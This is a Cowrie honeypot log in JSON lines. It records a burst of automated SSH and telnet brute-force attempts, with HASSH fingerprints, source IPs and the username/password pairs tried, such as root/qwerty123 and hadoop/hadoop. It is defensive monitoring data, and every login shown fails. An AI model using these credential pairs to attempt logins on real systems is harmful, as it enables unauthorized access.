{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:19:12.013597Z","src_ip":"95.38.165.118","session":"f6b403f993c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop","message":"login attempt [hadoop/hadoop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:19:13.204534Z","src_ip":"95.38.165.118","session":"f6b403f993c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:19:14.383984Z","src_ip":"95.38.165.118","session":"f6b403f993c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":36200,"dst_ip":"159.203.135.109","dst_port":23,"session":"f12daa08dfd2","protocol":"telnet","message":"New connection: 69.4.83.194:36200 (159.203.135.109:23) [session: f12daa08dfd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:19:15.561592Z"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":49070,"dst_ip":"10.17.0.5","dst_port":22,"session":"c2afd5c14a8f","protocol":"ssh","message":"New connection: 95.38.165.118:49070 (10.17.0.5:22) [session: c2afd5c14a8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:19:17.161144Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:19:17.224812Z","src_ip":"95.38.165.118","session":"c2afd5c14a8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:19:17.333226Z","src_ip":"95.38.165.118","session":"c2afd5c14a8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456","message":"login attempt [ubuntu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:19:17.985646Z","src_ip":"95.38.165.118","session":"c2afd5c14a8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:19:19.576680Z","src_ip":"95.38.165.118","session":"c2afd5c14a8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":49078,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd52c35c1763","protocol":"ssh","message":"New connection: 95.38.165.118:49078 (10.17.0.5:22) [session: bd52c35c1763]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:19:22.523223Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:19:22.528375Z","src_ip":"95.38.165.118","session":"bd52c35c1763","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:19:22.686825Z","src_ip":"95.38.165.118","session":"bd52c35c1763","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":46464,"dst_ip":"10.17.0.5","dst_port":23,"session":"73c44610ac98","protocol":"telnet","message":"New connection: 178.128.93.180:46464 (10.17.0.5:23) [session: 73c44610ac98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:19:23.016278Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty123","message":"login attempt [root/qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:19:23.176199Z","src_ip":"95.38.165.118","session":"bd52c35c1763","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:19:25.976996Z","src_ip":"95.38.165.118","session":"bd52c35c1763","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.37138772010803,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:19:26.825054Z","src_ip":"69.4.83.194","session":"f3795d6b680a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":56174,"dst_ip":"10.17.0.5","dst_port":22,"session":"28b10558a4d4","protocol":"ssh","message":"New connection: 95.38.165.118:56174 (10.17.0.5:22) [session: 28b10558a4d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:19:27.847580Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:19:27.869473Z","src_ip":"95.38.165.118","session":"28b10558a4d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:19:28.017458Z","src_ip":"95.38.165.118","session":"28b10558a4d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aa123456","message":"login attempt [root/aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:19:28.681538Z","src_ip":"95.38.165.118","session":"28b10558a4d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:19:29.853055Z","src_ip":"95.38.165.118","session":"28b10558a4d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":56178,"dst_ip":"10.17.0.5","dst_port":22,"session":"52b446f1e863","protocol":"ssh","message":"New connection: 95.38.165.118:56178 (10.17.0.5:22) [session: 52b446f1e863]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:19:33.168965Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:19:33.173533Z","src_ip":"95.38.165.118","session":"52b446f1e863","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:19:33.355528Z","src_ip":"95.38.165.118","session":"52b446f1e863","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx","message":"login attempt [root/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:19:33.904058Z","src_ip":"95.38.165.118","session":"52b446f1e863","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:19:35.213660Z","src_ip":"95.38.165.118","session":"52b446f1e863","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":53976,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac759d0c28ec","protocol":"ssh","message":"New connection: 95.38.165.118:53976 (10.17.0.5:22) [session: ac759d0c28ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:19:38.304645Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:19:38.323458Z","src_ip":"95.38.165.118","session":"ac759d0c28ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:19:38.691190Z","src_ip":"95.38.165.118","session":"ac759d0c28ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ab123456","message":"login attempt [root/Ab123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:19:39.477616Z","src_ip":"95.38.165.118","session":"ac759d0c28ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:19:40.647090Z","src_ip":"95.38.165.118","session":"ac759d0c28ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.64533495903015,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:19:41.086488Z","src_ip":"69.4.83.194","session":"6ca6c5c77900","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":53986,"dst_ip":"10.17.0.5","dst_port":22,"session":"0ae990795ccd","protocol":"ssh","message":"New connection: 95.38.165.118:53986 (10.17.0.5:22) [session: 0ae990795ccd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:19:43.831600Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:19:43.840510Z","src_ip":"95.38.165.118","session":"0ae990795ccd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:19:44.006968Z","src_ip":"95.38.165.118","session":"0ae990795ccd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":50698,"dst_ip":"10.17.0.5","dst_port":22,"session":"74c7ddb1478f","protocol":"ssh","message":"New connection: 2.57.121.112:50698 (10.17.0.5:22) [session: 74c7ddb1478f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:19:44.824433Z"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"odoo","message":"login attempt [odoo/odoo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:19:45.602187Z","src_ip":"95.38.165.118","session":"0ae990795ccd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.645982027053833,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:19:46.207501Z","src_ip":"69.4.83.194","session":"f12daa08dfd2","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:19:46.582683Z","src_ip":"2.57.121.112","session":"74c7ddb1478f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:19:46.683186Z","src_ip":"2.57.121.112","session":"74c7ddb1478f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"0531","message":"login attempt [admin/0531] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:19:47.171695Z","src_ip":"2.57.121.112","session":"74c7ddb1478f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:19:47.426512Z","src_ip":"95.38.165.118","session":"0ae990795ccd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"051291","message":"login attempt [admin/051291] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:19:48.278031Z","src_ip":"2.57.121.112","session":"74c7ddb1478f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":37372,"dst_ip":"10.17.0.5","dst_port":22,"session":"3bb3ec320efe","protocol":"ssh","message":"New connection: 95.38.165.118:37372 (10.17.0.5:22) [session: 3bb3ec320efe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:19:48.735953Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:19:48.744219Z","src_ip":"95.38.165.118","session":"3bb3ec320efe","protocol":"ssh"}
